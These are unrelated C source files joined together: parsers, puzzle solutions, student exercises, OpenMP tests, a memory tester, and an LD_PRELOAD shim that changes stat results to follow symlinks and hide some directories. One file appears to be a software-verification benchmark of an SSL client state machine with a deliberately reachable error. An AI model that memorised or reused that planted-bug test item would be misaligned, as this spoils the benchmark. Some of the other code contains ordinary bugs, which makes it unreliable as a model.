strcat(dyna, "void");
else
strcat(g_dcl, "void");
return OK;
}
// strcpy(g_par_type, g_token);
strcpy(d_par_type, g_token);
// printf("parparse() got type %s\n", d_par_type);
// g_par_dcl[0] = '\0';
int res = pdcl(d_par_dcl);
if (res == OK && (g_token_type != ')' && g_token_type != ','))
res = ERR_PAR_SYNTAX_ERROR;
if (res == OK) {
// strcat(g_dcl, g_par_dcl);
// strcat(g_dcl, g_par_type);
if (dyna) {
strcat(dyna, d_par_dcl);
strcat(dyna, d_par_type);
}
else {
strcat(g_dcl, d_par_dcl);
strcat(g_dcl, d_par_type);
}
return OK;
}
else
return res;
}
int pdcl(char *d_par_dcl)
{
// g_paren_type = 0;
int res;
int ns = 0;
while (get_token_type() == '*') {
++ns;
// printf("++ns: current d_par_dcl = %s\n", d_par_dcl);
}
// printf("leaving : g_token_type = %d\n", g_token_type);
if ((res = pddcl(d_par_dcl)) != OK)
return res;
while (ns-- > 0){
// strcat(g_par_dcl, "pointer to ");
strcat(d_par_dcl, "pointer to ");
}
return res;
}
int pddcl(char *d_par_dcl)
{
int res;
// printf("enter pddcl(): g_token_type = %d\n", g_token_type);
// nothing
if (g_token_type == ')' || g_token_type == ',') {
// g_par_dcl[0] = '\0';
d_par_dcl[0] = '\0';
return OK;
}
else if (g_token_type == NAME) {
// useless , but keep it here
strcpy(g_par_name, g_token);
// g_paren_type = 1;
}
else if (g_token_type == '(') {
if ((res = pdcl(d_par_dcl)) != OK)
return res;
if (g_token_type != ')')
return ERR_PAR_MISSING_CLOSING_PARENTHESIS;
}
else {
return ERR_PAR_EXPECT_NAME_OR_DCL_IN_PARENTHESES;
}
for (int tt = get_token_type(); tt == PARENTHESES || tt == BRACKETS;
tt = get_token_type()) {
if (tt == PARENTHESES) {
strcat(d_par_dcl, "function of ");
while (g_token_type != ')') {
if ((res = parparse(d_par_dcl)) != OK)
return res;
// if (strlen(g_par_name)) {
// strcat(g_dcl, " called ");
// strcat(g_dcl, g_par_name);
// }
if (g_token_type == ',')
strcat(d_par_dcl, " and ");
parclean();
}
strcat(d_par_dcl, " returning ");
}
else {
strcat(d_par_dcl, "array");
strcat(d_par_dcl, g_token);
strcat(d_par_dcl, " of ");
}
}
return OK;
}
void parclean()
{
// g_par_name[0] = g_par_type[0] = g_par_dcl[0] = '\0';
g_par_name[0] = '\0';
}
void clean()
{
g_name[0] = g_type[0] = g_dcl[0] = '\0';
g_token[0] = '\0';
// g_paren_type = 0;
}
int main()
{
while (get_token_type() != EOF) {
parse();
clean();
}
return 0;
}
|
the_stack_data/92325191.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define circle_size 256
#define m *(circle + (current_position + i) % circle_size)
#define n *(circle + (current_position + length - 1 - i) % circle_size)
const int run(char* s)
{
int circle[circle_size], buffer[circle_size],
current_position = 0, skip_size = 0, length;
const char delimiters[] = ",";
char *token = strtok(s, delimiters);
for (int i = 0; i != circle_size; i++) {
circle[i] = i;
}
do {
length = atoi(token);
for (int i = 0; 2*i + 1 < length; i++) {
(m ^= n), (n ^= m), (m ^= n);
}
current_position = (current_position + length + skip_size) % circle_size;
skip_size++;
} while ((token = strtok(NULL, delimiters)) != NULL);
return circle[0] * circle[1];
}
int main(int argc, char** argv)
{
printf("%d\n", run(argv[1]));
return 0;
}
|
the_stack_data/1229587.c
|
extern void __VERIFIER_error() __attribute__ ((__noreturn__));
extern char __VERIFIER_nondet_char(void);
extern int __VERIFIER_nondet_int(void);
extern long __VERIFIER_nondet_long(void);
extern void *__VERIFIER_nondet_pointer(void);
extern int __VERIFIER_nondet_int();
/* Generated by CIL v. 1.3.6 */
/* print_CIL_Input is true */
#line 4 "s3_clnt_1_BUG.cil.c"
int ssl3_connect(int initial_state )
{ int s__info_callback = __VERIFIER_nondet_int() ;
int s__in_handshake = __VERIFIER_nondet_int() ;
int s__state ;
int s__new_session ;
int s__server ;
int s__version = __VERIFIER_nondet_int() ;
int s__type ;
int s__init_num ;
int s__bbio = __VERIFIER_nondet_int() ;
int s__wbio = __VERIFIER_nondet_int() ;
int s__hit = __VERIFIER_nondet_int() ;
int s__rwstate ;
int s__init_buf___0 ;
int s__debug = __VERIFIER_nondet_int() ;
int s__shutdown ;
int s__ctx__info_callback = __VERIFIER_nondet_int() ;
int s__ctx__stats__sess_connect_renegotiate = __VERIFIER_nondet_int() ;
int s__ctx__stats__sess_connect = __VERIFIER_nondet_int() ;
int s__ctx__stats__sess_hit = __VERIFIER_nondet_int() ;
int s__ctx__stats__sess_connect_good = __VERIFIER_nondet_int() ;
int s__s3__change_cipher_spec ;
int s__s3__flags ;
int s__s3__delay_buf_pop_ret ;
int s__s3__tmp__cert_req = __VERIFIER_nondet_int() ;
int s__s3__tmp__new_compression = __VERIFIER_nondet_int() ;
int s__s3__tmp__reuse_message = __VERIFIER_nondet_int() ;
int s__s3__tmp__new_cipher = __VERIFIER_nondet_int() ;
int s__s3__tmp__new_cipher__algorithms = __VERIFIER_nondet_int() ;
int s__s3__tmp__next_state___0 ;
int s__s3__tmp__new_compression__id = __VERIFIER_nondet_int() ;
int s__session__cipher ;
int s__session__compress_meth ;
int buf ;
unsigned long tmp ;
unsigned long l ;
int num1 ;
int cb ;
int ret ;
int new_state ;
int state ;
int skip ;
int tmp___0 ;
int tmp___1 = __VERIFIER_nondet_int() ;
int tmp___2 = __VERIFIER_nondet_int() ;
int tmp___3 = __VERIFIER_nondet_int() ;
int tmp___4 = __VERIFIER_nondet_int() ;
int tmp___5 = __VERIFIER_nondet_int() ;
int tmp___6 = __VERIFIER_nondet_int() ;
int tmp___7 = __VERIFIER_nondet_int() ;
int tmp___8 = __VERIFIER_nondet_int() ;
int tmp___9 = __VERIFIER_nondet_int() ;
int blastFlag ;
int __cil_tmp55 ;
long __cil_tmp56 ;
long __cil_tmp57 ;
long __cil_tmp58 ;
long __cil_tmp59 ;
long __cil_tmp60 ;
long __cil_tmp61 ;
long __cil_tmp62 ;
long __cil_tmp63 ;
long __cil_tmp64 ;
{
#line 60
;
s__state = initial_state;
#line 61
blastFlag = 0;
#line 62
tmp = __VERIFIER_nondet_int();
#line 63
cb = 0;
#line 64
ret = -1;
#line 65
skip = 0;
#line 66
tmp___0 = 0;
#line 67
if (s__info_callback != 0) {
#line 68
cb = s__info_callback;
} else {
#line 70
if (s__ctx__info_callback != 0) {
#line 71
cb = s__ctx__info_callback;
}
}
#line 76
s__in_handshake ++;
#line 77
if (tmp___1 - 12288) {
#line 78
if (tmp___2 - 16384) {
}
}
{
#line 87
while (1) {
while_0_continue: /* CIL Label */ ;
#line 89
state = s__state;
#line 90
if (s__state == 12292) {
goto switch_1_12292;
} else {
#line 93
if (s__state == 16384) {
goto switch_1_16384;
} else {
#line 96
if (s__state == 4096) {
goto switch_1_4096;
} else {
#line 99
if (s__state == 20480) {
goto switch_1_20480;
} else {
#line 102
if (s__state == 4099) {
goto switch_1_4099;
} else {
#line 105
if (s__state == 4368) {
goto switch_1_4368;
} else {
#line 108
if (s__state == 4369) {
goto switch_1_4369;
} else {
#line 111
if (s__state == 4384) {
goto switch_1_4384;
} else {
#line 114
if (s__state == 4385) {
goto switch_1_4385;
} else {
#line 117
if (s__state == 4400) {
goto switch_1_4400;
} else {
#line 120
if (s__state == 4401) {
goto switch_1_4401;
} else {
#line 123
if (s__state == 4416) {
goto switch_1_4416;
} else {
#line 126
if (s__state == 4417) {
goto switch_1_4417;
} else {
#line 129
if (s__state == 4432) {
goto switch_1_4432;
} else {
#line 132
if (s__state == 4433) {
goto switch_1_4433;
} else {
#line 135
if (s__state == 4448) {
goto switch_1_4448;
} else {
#line 138
if (s__state == 4449) {
goto switch_1_4449;
} else {
#line 141
if (s__state == 4464) {
goto switch_1_4464;
} else {
#line 144
if (s__state == 4465) {
goto switch_1_4465;
} else {
#line 147
if (s__state == 4466) {
goto switch_1_4466;
} else {
#line 150
if (s__state == 4467) {
goto switch_1_4467;
} else {
#line 153
if (s__state == 4480) {
goto switch_1_4480;
} else {
#line 156
if (s__state == 4481) {
goto switch_1_4481;
} else {
#line 159
if (s__state == 4496) {
goto switch_1_4496;
} else {
#line 162
if (s__state == 4497) {
goto switch_1_4497;
} else {
#line 165
if (s__state == 4512) {
goto switch_1_4512;
} else {
#line 168
if (s__state == 4513) {
goto switch_1_4513;
} else {
#line 171
if (s__state == 4528) {
goto switch_1_4528;
} else {
#line 174
if (s__state == 4529) {
goto switch_1_4529;
} else {
#line 177
if (s__state == 4560) {
goto switch_1_4560;
} else {
#line 180
if (s__state == 4561) {
goto switch_1_4561;
} else {
#line 183
if (s__state == 4352) {
goto switch_1_4352;
} else {
#line 186
if (s__state == 3) {
goto switch_1_3;
} else {
goto switch_1_default;
#line 191
if (0) {
switch_1_12292:
#line 193
s__new_session = 1;
#line 194
s__state = 4096;
#line 195
s__ctx__stats__sess_connect_renegotiate ++;
switch_1_16384: ;
switch_1_4096: ;
switch_1_20480: ;
switch_1_4099:
#line 200
s__server = 0;
#line 201
if (cb != 0) {
}
{
#line 206
__cil_tmp55 = s__version - 65280;
#line 206
if (__cil_tmp55 != 768) {
#line 207
ret = -1;
goto end;
}
}
#line 212
s__type = 4096;
#line 213
if (s__init_buf___0 == 0) {
#line 214
buf = __VERIFIER_nondet_int();
#line 215
if (buf == 0) {
#line 216
ret = -1;
goto end;
}
#line 221
if (! tmp___3) {
#line 222
ret = -1;
goto end;
}
#line 227
s__init_buf___0 = buf;
}
#line 231
if (! tmp___4) {
#line 232
ret = -1;
goto end;
}
#line 237
if (! tmp___5) {
#line 238
ret = -1;
goto end;
}
#line 243
s__state = 4368;
#line 244
s__ctx__stats__sess_connect ++;
#line 245
s__init_num = 0;
goto switch_1_break;
switch_1_4368: ;
switch_1_4369:
#line 249
s__shutdown = 0;
#line 250
ret = __VERIFIER_nondet_int();
#line 251
if (blastFlag == 0) {
#line 252
blastFlag = 1;
}
#line 256
if (ret <= 0) {
goto end;
}
#line 261
s__state = 4384;
#line 262
s__init_num = 0;
#line 263
if (s__bbio != s__wbio) {
}
goto switch_1_break;
switch_1_4384: ;
switch_1_4385:
#line 271
ret = __VERIFIER_nondet_int();
#line 272
if (blastFlag == 1) {
#line 273
blastFlag = 2;
}
#line 277
if (ret <= 0) {
goto end;
}
#line 282
if (s__hit) {
#line 283
s__state = 4560;
} else {
#line 285
s__state = 4400;
}
#line 287
s__init_num = 0;
goto switch_1_break;
switch_1_4400: ;
switch_1_4401: ;
#line 291
if (s__s3__tmp__new_cipher__algorithms - 256) {
#line 292
skip = 1;
} else {
#line 294
ret = __VERIFIER_nondet_int();
#line 295
if (blastFlag == 2) {
#line 296
blastFlag = 3;
}
#line 300
if (ret <= 0) {
goto end;
}
}
#line 306
s__state = 4416;
#line 307
s__init_num = 0;
goto switch_1_break;
switch_1_4416: ;
switch_1_4417:
#line 311
ret = __VERIFIER_nondet_int();
#line 312
if (blastFlag == 3) {
#line 313
blastFlag = 4;
}
#line 317
if (ret <= 0) {
goto end;
}
#line 322
s__state = 4432;
#line 323
s__init_num = 0;
#line 324
if (! tmp___6) {
#line 325
ret = -1;
goto end;
}
goto switch_1_break;
switch_1_4432: ;
switch_1_4433:
#line 333
ret = __VERIFIER_nondet_int();
#line 334
if (blastFlag == 4) {
goto ERROR;
}
#line 339
if (ret <= 0) {
goto end;
}
#line 344
s__state = 4448;
#line 345
s__init_num = 0;
goto switch_1_break;
switch_1_4448: ;
switch_1_4449:
#line 349
ret = __VERIFIER_nondet_int();
#line 350
if (blastFlag == 4) {
#line 351
blastFlag = 5;
}
#line 355
if (ret <= 0) {
goto end;
}
#line 360
if (s__s3__tmp__cert_req) {
#line 361
s__state = 4464;
} else {
#line 363
s__state = 4480;
}
#line 365
s__init_num = 0;
goto switch_1_break;
switch_1_4464: ;
switch_1_4465: ;
switch_1_4466: ;
switch_1_4467:
#line 371
ret = __VERIFIER_nondet_int();
#line 372
if (ret <= 0) {
goto end;
}
#line 377
s__state = 4480;
#line 378
s__init_num = 0;
goto switch_1_break;
switch_1_4480: ;
switch_1_4481:
#line 382
ret = __VERIFIER_nondet_int();
#line 383
if (ret <= 0) {
goto end;
}
#line 388
l = (unsigned long )s__s3__tmp__new_cipher__algorithms;
#line 389
if (s__s3__tmp__cert_req == 1) {
#line 390
s__state = 4496;
} else {
#line 392
s__state = 4512;
#line 393
s__s3__change_cipher_spec = 0;
}
#line 395
s__init_num = 0;
goto switch_1_break;
switch_1_4496: ;
switch_1_4497:
#line 399
ret = __VERIFIER_nondet_int();
#line 400
if (ret <= 0) {
goto end;
}
#line 405
s__state = 4512;
#line 406
s__init_num = 0;
#line 407
s__s3__change_cipher_spec = 0;
goto switch_1_break;
switch_1_4512: ;
switch_1_4513:
#line 411
ret = __VERIFIER_nondet_int();
#line 412
if (ret <= 0) {
goto end;
}
#line 417
s__state = 4528;
#line 418
s__init_num = 0;
#line 419
s__session__cipher = s__s3__tmp__new_cipher;
#line 420
if (s__s3__tmp__new_compression == 0) {
#line 421
s__session__compress_meth = 0;
} else {
#line 423
s__session__compress_meth = s__s3__tmp__new_compression__id;
}
#line 425
if (! tmp___7) {
#line 426
ret = -1;
goto end;
}
#line 431
if (! tmp___8) {
#line 432
ret = -1;
goto end;
}
goto switch_1_break;
switch_1_4528: ;
switch_1_4529:
#line 440
ret = __VERIFIER_nondet_int();
#line 441
if (ret <= 0) {
goto end;
}
#line 446
s__state = 4352;
#line 447
__cil_tmp56 = (long )s__s3__flags;
#line 447
__cil_tmp57 = __cil_tmp56 + 5;
#line 447
s__s3__flags = (int )__cil_tmp57;
#line 448
if (s__hit) {
#line 449
s__s3__tmp__next_state___0 = 3;
{
#line 450
__cil_tmp58 = (long )s__s3__flags;
#line 450
if (__cil_tmp58 - 2L) {
#line 451
s__state = 3;
#line 452
__cil_tmp59 = (long )s__s3__flags;
#line 452
__cil_tmp60 = __cil_tmp59 + 4L;
#line 452
s__s3__flags = (int )__cil_tmp60;
#line 453
s__s3__delay_buf_pop_ret = 0;
}
}
} else {
#line 458
s__s3__tmp__next_state___0 = 4560;
}
#line 460
s__init_num = 0;
goto switch_1_break;
switch_1_4560: ;
switch_1_4561:
#line 464
ret = __VERIFIER_nondet_int();
#line 465
if (ret <= 0) {
goto end;
}
#line 470
if (s__hit) {
#line 471
s__state = 4512;
} else {
#line 473
s__state = 3;
}
#line 475
s__init_num = 0;
goto switch_1_break;
switch_1_4352:
{
#line 478
__cil_tmp61 = (long )num1;
#line 478
if (__cil_tmp61 > 0L) {
#line 479
s__rwstate = 2;
#line 480
num1 = tmp___9;
{
#line 481
__cil_tmp62 = (long )num1;
#line 481
if (__cil_tmp62 <= 0L) {
#line 482
ret = -1;
goto end;
}
}
#line 487
s__rwstate = 1;
}
}
#line 491
s__state = s__s3__tmp__next_state___0;
goto switch_1_break;
switch_1_3:
#line 494
if (s__init_buf___0 != 0) {
#line 495
s__init_buf___0 = 0;
}
{
#line 499
__cil_tmp63 = (long )s__s3__flags;
#line 499
__cil_tmp64 = __cil_tmp63 - 4L;
#line 499
if (! __cil_tmp64) {
}
}
#line 504
s__init_num = 0;
#line 505
s__new_session = 0;
#line 506
if (s__hit) {
#line 507
s__ctx__stats__sess_hit ++;
}
#line 511
ret = 1;
#line 512
s__ctx__stats__sess_connect_good ++;
#line 513
if (cb != 0) {
}
goto end;
switch_1_default:
#line 520
ret = -1;
goto end;
} else {
switch_1_break: ;
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
#line 559
if (! s__s3__tmp__reuse_message) {
#line 560
if (! skip) {
#line 561
if (s__debug) {
#line 562
ret = __VERIFIER_nondet_int();
#line 563
if (ret <= 0) {
goto end;
}
}
#line 571
if (cb != 0) {
#line 572
if (s__state != state) {
#line 573
new_state = s__state;
#line 574
s__state = state;
#line 575
s__state = new_state;
}
}
}
}
#line 588
skip = 0;
}
while_0_break: /* CIL Label */ ;
}
end:
#line 593
s__in_handshake --;
#line 594
if (cb != 0) {
}
#line 599
return (ret);
ERROR: __VERIFIER_error();
#line 601
return (-1);
}
}
#line 604 "s3_clnt_1_BUG.cil.c"
int main(void)
{ int s ;
{
{
#line 609
s = 12292;
#line 610
ssl3_connect(12292);
}
#line 612
return (0);
}
}
|
the_stack_data/17248.c
|
#include <stdio.h>
#include <stdlib.h>
struct node
{
int num;
struct node *next;
};
void create(struct node **);
void display(struct node *);
int survivor(struct node **, int);
int main()
{
struct node *head = NULL;
int survive, skip;
create(&head);
printf("The persons in circular list are:\n");
display(head);
printf("Enter the position of person to be killed: ");
scanf("%d", &skip);
skip+=1;
survive = survivor(&head, skip);
printf("The person to survive is : %d\n\n", survive);
free(head);
return 0;
}
int survivor(struct node **head, int k)
{
struct node *p, *q;
int i;
q = p = *head;
while (p->next != p)
{
for (i = 0; i < k - 1; i++)
{
q = p;
p = p->next;
}
q->next = p->next;
printf("%d has been killed.\n", p->num);
free(p);
p = q->next;
}
*head = p;
return (p->num);
}
void create (struct node **head)
{
struct node *temp, *rear;
int a,n, ch;
printf("\nEnter number of persons: ");
scanf("%d", &n);
for(int i=1;i<n+1;i++)
{
temp = (struct node *)malloc(sizeof(struct node));
temp->num = i;
temp->next = NULL;
if (*head == NULL)
{
*head = temp;
}
else
{
rear->next = temp;
}
rear = temp;
}
rear->next = *head;
}
void display(struct node *head)
{
struct node *temp;
temp = head;
printf("%d ", temp->num);
temp = temp->next;
while (head != temp)
{
printf("%d ", temp->num);
temp = temp->next;
}
printf("\n");
}
|
the_stack_data/151975.c
|
// Definition of NULL
#include <stdio.h>
void memcopy03(int size, void* src, void* dst)
{
int i=size;
if (src!=NULL && dst!=NULL)
{
char* s = (char*) src;
char* d = (char*) dst;
for (; i>=8; i-=8, s+=8, d+=8)
*((double*)d) = *((double*)s);
for (; i!=0; i--, s++, d++)
*d = *s;
}
}
|
the_stack_data/247019439.c
|
#include <stdio.h>
extern int adding(int a, int b);
int main() {
printf("%d\n", adding(2, 3));
return 0;
}
|
the_stack_data/18887803.c
|
#include <stdio.h>
#include <locale.h>
main(){
setlocale(LC_ALL, "portuguese");
int numeros[3][3],linha,coluna;
printf("Digite os valores da matriz: \n");
//armazenar os valores da matriz
for(linha=0;linha<3;linha++){//linhas da matriz
for(coluna=0;coluna<3;coluna++){//colunas da matriz
printf("Numero: ");
scanf("%d",&numeros[linha][coluna]);
}
}
//exibir a matriz
printf("\n");
for(linha=0;linha<3;linha++){
for(coluna=0;coluna<3;coluna++){
printf("%2d\t",numeros[linha][coluna]);
}
printf("\n");
}
}
|
the_stack_data/31686.c
|
/* Preload library to magically resolve symlinks (to be used for sftp-server
* when dealing with symlink-incapable clients) */
#define _GNU_SOURCE
#include <dlfcn.h>
#include <sys/stat.h>
#include <fcntl.h> /* AT_* */
#if 0
#include <syslog.h>
#else
#define syslog(...)
#endif
/* Additional hack to hide '.git' directory */
#if 1
#define XS_IFMT 0170000
#define XS_IFIFO 0010000
#define XS_IFCHR 0020000
#define XS_IFDIR 0040000
#define XS_IFBLK 0060000
#define XS_IFREG 0100000
#define XS_IFLNK 0120000
#define XS_IFSOCK 0140000
#define XS_IFWEIRD 0160000
#define BADMODE(m) (S_ISDIR(m) && (m & S_ISUID) && !(m & S_ISGID))
#define HACKMODE(m) if (result == 0 && BADMODE(m)) { m = S_IFSOCK; }
#else
#define HACKMODE(m)
#endif
/* Used by sftp-server */
int lstat(const char *pathname, struct stat *statbuf) {
static int (*real_lstat)(const char *, struct stat *);
int result = -1;
syslog(LOG_DEBUG, "intercepted lstat('%s')", pathname);
if (!real_lstat)
real_lstat = dlsym(RTLD_NEXT, "lstat");
result = stat(pathname, statbuf);
if (result < 0)
result = real_lstat(pathname, statbuf);
HACKMODE(statbuf->st_mode);
return result;
}
/* Actual glibc lstat() implementations */
extern int __xstat(int, const char *, struct stat *);
extern int __xstat64(int, const char *, struct stat64 *);
int __lxstat(int ver, const char *pathname, struct stat *statbuf) {
static int (*__real_lxstat)(int, const char *, struct stat *);
int result = -1;
syslog(LOG_DEBUG, "intercepted __lxstat('%s')", pathname);
if (!__real_lxstat)
__real_lxstat = dlsym(RTLD_NEXT, "__lxstat");
result = __xstat(ver, pathname, statbuf);
if (result < 0)
result = __real_lxstat(ver, pathname, statbuf);
HACKMODE(statbuf->st_mode);
return result;
}
int __lxstat64(int ver, const char *pathname, struct stat64 *stat64buf) {
static int (*__real_lxstat64)(int, const char *, struct stat64 *);
int result = -1;
syslog(LOG_DEBUG, "intercepted __lxstat64('%s')", pathname);
if (!__real_lxstat64)
__real_lxstat64 = dlsym(RTLD_NEXT, "__lxstat64");
result = __xstat64(ver, pathname, stat64buf);
if (result < 0)
result = __real_lxstat64(ver, pathname, stat64buf);
HACKMODE(stat64buf->st_mode);
return result;
}
/* Not sure if needed -- I suspect it's probably implemented in terms of statx() anyway */
int fstatat(int dirfd, const char *pathname, struct stat *statbuf, int flags) {
static int (*real_fstatat)(int, const char *, struct stat *, int);
int result = -1;
syslog(LOG_DEBUG, "intercepted fstatat('%s')", pathname);
if (!real_fstatat)
real_fstatat = dlsym(RTLD_NEXT, "fstatat");
if (flags & AT_SYMLINK_NOFOLLOW)
result = real_fstatat(dirfd, pathname, statbuf, flags & ~AT_SYMLINK_NOFOLLOW);
if (result < 0)
result = real_fstatat(dirfd, pathname, statbuf, flags);
HACKMODE(statbuf->st_mode);
return result;
}
/* Used by coreutils */
int statx(int dirfd, const char *pathname, int flags, unsigned int mask, struct statx *statxbuf) {
static int (*real_statx)(int, const char *, int, unsigned int, struct statx*);
int result = -1;
syslog(LOG_DEBUG, "intercepted statx('%s')", pathname);
if (!real_statx)
real_statx = dlsym(RTLD_NEXT, "statx");
if (flags & AT_SYMLINK_NOFOLLOW)
result = real_statx(dirfd, pathname, flags & ~AT_SYMLINK_NOFOLLOW, mask, statxbuf);
if (result < 0)
result = real_statx(dirfd, pathname, flags, mask, statxbuf);
HACKMODE(statxbuf->stx_mode);
return result;
}
|
the_stack_data/139337.c
|
/*
* statistic.c
*
* Created on: 14 Nov 2017
* Author: brauni
*/
#include<stdio.h>
int main(void)
{
setbuf(stdout, NULL);
int x = 0;
float f = 0;
float sum = 0;
printf("Wie viele Zahlen sollen eingegeben werden? ");
scanf("%i", &x);
for(int i = 1; i <= x; i++)
{
printf("Bitte geben sie die %i. Zahl ein: ", i);
scanf("%f", &f);
sum = f + sum;
}
printf("\nDie Summe aller Zahlen ist: %f\n", sum);
printf("Der Mittelwert aller Zahlen ist: %f\n", sum/x);
return 0;
}
|
the_stack_data/29825706.c
|
#include <stdio.h>
struct T;
struct T {
int x;
};
int
test()
{
struct T v;
{ struct T { int z; }; }
v.x = 2;
if(v.x != 2)
return 1;
return 0;
}
int main () {
int x;
x = test();
printf("%d\n", x);
return 0;
}
|
the_stack_data/54824584.c
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_str_is_numeric.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: drosa-ta <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2017/01/17 17:47:22 by drosa-ta #+# #+# */
/* Updated: 2017/01/17 20:21:49 by drosa-ta ### ########.fr */
/* */
/* ************************************************************************** */
int ft_str_is_numeric(char *str)
{
int i;
int result;
i = 0;
result = 1;
while (str[i])
{
if (str[i] < '0' || str[i] > '9')
result = 0;
i++;
}
return (result);
}
|
the_stack_data/2253.c
|
#include <stdio.h>
#include <stdlib.h>
struct pro{
int at,bt,wt,tat,ct;
}process[50];
int burst[50],is_completed[50];
int i,n,in,mn,completed=0,current_time=0;
int tot_tat=0,tot_wt=0,tot_ct=0;
int main()
{ printf("Enter no of processes:\n");
scanf("%d",&n);
printf("Enter arrival time and burst time of\n");
for(i=0;i<n;i++)
{ printf("process %d:\n",i+1);
scanf("%d%d",&process[i].at,&process[i].bt);
burst[i]=process[i].bt;
is_completed[i]=0;
}
while(completed!=n)
{ in=-1;
mn=10000000;
for(i=0;i<n;i++)
{ if(process[i].at<=current_time && is_completed[i]==0)
{ if(burst[i]<mn)
{ mn=burst[i];
in=i;
}
if(burst[i]==mn)
{ if(process[i].at<process[in].at)
{ mn=burst[i];
in=i;
}
}
}
}
if(in!=-1)
{ burst[in]-=1;
current_time++;
if(burst[in]==0)
{ process[in].ct=current_time;
process[in].tat=process[in].ct-process[in].at;
process[in].wt=process[in].tat-process[in].bt;
tot_ct+=process[in].ct;
tot_wt+=process[in].wt;
tot_tat+=process[in].tat;
is_completed[in]=1;
completed++;
}
}
else
current_time++;
}
printf("Average completion time = %.2f\n",(float)(tot_ct/n));
printf("Average waiting time = %.2f\n",(float)(tot_wt/n));
printf("Average turnaround time = %.2f\n",(float)(tot_tat/n));
return 0;
}
|
the_stack_data/75137917.c
|
extern void abort (void);
int a = 18;
void
f1 (int i, int j, int k)
{
int l = 6, m = 7, n = 8;
#pragma omp task private(j, m) shared(k, n)
{
j = 6;
m = 5;
if (++a != 19 || ++i != 9 || j != 6 || ++l != 7 || m != 5 || ++n != 9)
#pragma omp atomic
k++;
}
#pragma omp taskwait
if (a != 19 || i != 8 || j != 26 || k != 0 || l != 6 || m != 7 || n != 9)
abort ();
}
int v1 = 1, v2 = 2, v5 = 5;
int err;
void
f2 (void)
{
int v3 = 3;
#pragma omp sections private (v1) firstprivate (v2)
{
#pragma omp section
{
int v4 = 4;
v1 = 7;
#pragma omp task
{
if (++v1 != 8 || ++v2 != 3 || ++v3 != 4 || ++v4 != 5 || ++v5 != 6)
err = 1;
}
#pragma omp taskwait
if (v1 != 7 || v2 != 2 || v3 != 3 || v4 != 4 || v5 != 6)
abort ();
if (err)
abort ();
}
}
}
void
f3 (int i, int j, int k)
{
int l = 6, m = 7, n = 8;
#pragma omp task private(j, m) shared(k, n) untied
{
j = 6;
m = 5;
if (++a != 19 || ++i != 9 || j != 6 || ++l != 7 || m != 5 || ++n != 9)
#pragma omp atomic
k++;
}
#pragma omp taskwait
if (a != 19 || i != 8 || j != 26 || k != 0 || l != 6 || m != 7 || n != 9)
abort ();
}
int
main (void)
{
f1 (8, 26, 0);
f2 ();
a = 18;
f3 (8, 26, 0);
a = 18;
#pragma omp parallel num_threads(4)
{
#pragma omp master
{
f1 (8, 26, 0);
a = 18;
f3 (8, 26, 0);
}
}
return 0;
}
|
the_stack_data/193892558.c
|
#include <stdint.h>
#define UART_TX 0x30000000//(1<<13)
#define RED "\x1B[31m"
#define GRN "\x1B[32m"
#define YEL "\x1B[33m"
#define BLU "\x1B[34m"
#define MAG "\x1B[35m"
#define CYN "\x1B[36m"
#define WHT "\x1B[37m"
#define RESET "\x1B[0m"
#define CLS "\x1B[2J"
#define BOLD "\x1B[1m"
#define BLINK "\x1B[5m"
#define BLINK_OFF "\x1B[25m"
void putchar(char c) {
*((volatile uint32_t*) UART_TX) = c;
}
void print_chr(char ch) {
*((volatile uint32_t*) UART_TX) = ch;
}
void print_str(char *p) {
while (*p != 0) {
*((volatile uint32_t*) UART_TX) = *(p++);
}
}
void print_str_ln(char *p) {
print_str(p);
print_chr(10);
}
void print_dec(unsigned int val) {
char buffer[10];
char *p = buffer;
while (val || p == buffer) {
*(p++) = val % 10;
val = val / 10;
}
while (p != buffer) {
*((volatile uint32_t*) UART_TX) = '0' + *(--p);
}
}
void print_hex(unsigned int val, int digits) {
for (int i = (4*digits)-4; i >= 0; i -= 4) {
*((volatile uint32_t*) UART_TX) = "0123456789ABCDEF"[(val >> i) % 16];
}
}
typedef uint8_t datum;
#define SIZE (1024*1024*32)/sizeof(datum)
//#define SIZE (1024*1024)/sizeof(datum)
#define BASE (0x40000000)
datum *p = (volatile datum*) BASE;
void main() {
int iter = 0;
for (;;) {
print_chr(10);
print_str(GRN);
print_str(BLINK);
print_str(BOLD);
print_str("Memory test iteration: ");
print_dec(iter);
print_chr(10);
print_str(RESET);
print_str(BLINK_OFF);
print_str_ln("=========================================");
print_str(MAG);
print_str("Size of datum : ");
print_str(WHT);
print_str("0x");
print_hex((unsigned int) sizeof(datum), 8);
print_chr(10);
print_str(GRN);
print_str("Size of memory to test: ");
print_str(WHT);
print_str("0x");
print_hex((unsigned int) SIZE, 8);
print_chr(10);
print_chr(10);
datum pattern = 1;
datum antipattern = ~1;
p = (volatile datum*) BASE;
for (int i = 0; i < SIZE; i++, pattern++) {
*p = pattern;
// print_hex((unsigned int) p, 8);
// print_chr(10);
p++;
}
print_str(CYN);
print_str_ln("pattern write done!");
pattern = 1;
p = (volatile datum*) BASE;
for (int i = 0; i < SIZE; i++, pattern++) {
// print_hex((unsigned int) p, 8);
// print_chr(10);
if (*p != pattern) {
print_str(RED);
print_str("Error pattern in:");
print_chr(10);
print_hex((unsigned int) pattern, 8);
print_chr(10);
print_hex((unsigned int) p, 8);
print_chr(10);
print_hex((unsigned int) *p, 8);
print_chr(10);
// for (;;);
}
antipattern = ~pattern;
*p = antipattern;
p++;
}
print_str(YEL);
print_str_ln("check pattern and antipattern write done!");
p = (volatile datum*) BASE;
pattern = 1;
for (int i = 0; i < SIZE; i++, pattern++) {
antipattern = ~pattern;
if (*p != antipattern) {
print_str(RED);
print_str("Error antipattern in:");
print_chr(10);
print_hex((unsigned int) antipattern, 8);
print_chr(10);
print_hex((unsigned int) p, 8);
print_chr(10);
print_hex((unsigned int) *p, 8);
print_chr(10);
//for (;;);
}
*p = 0x00;
p++;
}
print_str(WHT);
print_str_ln("check antipattern and test done!");
print_str("\xa\xa\xa");
iter++;
}
}
|
the_stack_data/12638464.c
|
// Copyright (C) 2015-2020 Virgil Security, Inc.
//
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// (1) Redistributions of source code must retain the above copyright
